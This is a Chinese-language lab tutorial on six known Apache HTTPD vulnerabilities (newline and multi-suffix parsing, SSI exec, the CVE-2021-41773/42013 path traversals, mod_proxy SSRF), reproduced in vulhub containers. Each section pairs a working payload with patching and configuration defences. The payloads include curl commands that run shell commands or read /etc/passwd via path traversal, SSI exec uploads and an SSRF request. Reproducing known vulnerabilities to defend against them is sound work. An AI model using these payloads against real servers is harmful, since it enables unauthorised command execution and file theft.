Apache Httpd 常见漏洞解析(全)
字数 1612 2025-08-10 08:28:21
Apache Httpd 常见漏洞解析与防御指南
一、Apache HTTPD 换行解析漏洞 (CVE-2017-15715)
漏洞描述
Apache HTTPD 2.4.0~2.4.29版本中存在解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致可绕过服务器的安全策略。
漏洞复现步骤
-
环境准备:
cd vulhub/httpd/CVE-2017-15715 docker-compose build docker-compose up -d -
访问漏洞环境:
http://[IP]:8080/ -
漏洞利用:
- 上传文件
123.php会被拦截 - 在
123.php后面插入\x0A(不能是\x0D\x0A) - 使用十六进制编辑器选中
0d,插入0a
- 上传文件
防御措施
- 升级到Apache HTTPD 2.4.30或更高版本
- 在配置文件中添加对换行符的过滤规则
二、Apache HTTPD 多后缀解析漏洞
漏洞描述
Apache HTTPD支持一个文件拥有多个后缀,只要文件含有.php后缀就会被识别为PHP文件,不必是最后一个后缀,导致可绕过上传白名单。
漏洞复现步骤
-
环境准备:
cd /vulhub/httpd/apache_parsing_vulnerability docker-compose up -d -
访问漏洞环境:
http://[IP] -
漏洞利用:
- 上传文件名为
xxx.php.jpg或xxx.php.jpeg的文件 - 文件内容可包含PHP代码:
<?=phpinfo()?>
- 上传文件名为
防御措施
- 严格限制上传文件类型
- 上传后重命名文件
- 禁用不必要的文件处理器
三、Apache SSI 远程命令执行漏洞
漏洞描述
当服务器开启SSI与CGI支持时,可上传.shtml文件并利用<!--#exec cmd="id" -->语法执行任意命令。
漏洞复现步骤
-
环境准备:
cd /vulhub/httpd/ssi-rce docker-compose up -d -
访问漏洞环境:
http://[IP]:8080/upload.php -
漏洞利用:
- 上传
shell.shtml文件,内容为:<!--#exec cmd="ls" -->
- 上传
防御措施
- 关闭不必要的SSI功能
- 限制上传文件类型
- 对用户上传内容进行严格过滤
四、Apache HTTP 路径穿越漏洞 (CVE-2021-41773)
漏洞描述
Apache HTTPD 2.4.49版本中存在路径穿越漏洞,攻击者可读取Web目录以外的文件或在开启CGI时执行任意命令。
漏洞复现步骤
-
环境准备:
cd /vulhub/httpd/CVE-2021-41773 docker-compose build docker-compose up -d -
访问漏洞环境:
http://[IP]:8080/ -
漏洞利用:
curl -v --data "echo;id" 'http://[IP]:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
防御措施
- 升级到Apache HTTPD 2.4.50或更高版本
- 限制目录访问权限
五、Apache HTTP 路径穿越漏洞 (CVE-2021-42013)
漏洞描述
CVE-2021-41773修复不完整导致的漏洞,影响Apache HTTP Server 2.4.49和2.4.50。
漏洞复现步骤
-
环境准备:
cd /vulhub/httpd/CVE-2021-42013 docker-compose build docker-compose up -d -
访问漏洞环境:
http://[IP]:8080 -
漏洞利用:
curl -v --path-as-is http://[IP]:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
防御措施
- 升级到Apache HTTPD 2.4.51或更高版本
- 严格配置目录访问权限
六、Apache HTTP SSRF漏洞 (CVE-2021-40438)
漏洞描述
Apache HTTP Server 2.4.48及以前版本中,mod_proxy模块存在逻辑错误导致攻击者可控制反向代理服务器地址,造成SSRF漏洞。
漏洞复现步骤
-
环境准备:
cd /vulhub/httpd/CVE-2021-40438 docker compose build docker compose up -d -
访问漏洞环境:
http://[IP]:8080 -
漏洞利用:
构造特殊请求:GET /?unix:AAAA...AAA|http://example.com/ HTTP/1.1 Host: [IP]:8080
防御措施
- 升级到Apache HTTPD 2.4.49或更高版本
- 限制mod_proxy的使用范围
- 配置严格的代理规则
综合防御建议
-
保持更新:始终使用最新稳定版本的Apache HTTP Server
-
最小化原则:
- 禁用不必要的模块
- 限制文件上传功能
- 关闭不必要的SSI和CGI支持
-
严格配置:
- 设置严格的目录权限
- 配置安全的文件处理器
- 实现严格的上传文件验证机制
-
监控与日志:
- 启用详细日志记录
- 设置异常行为监控
- 定期审计配置和日志
通过以上措施,可以显著降低Apache HTTP Server的安全风险,保护Web应用免受攻击。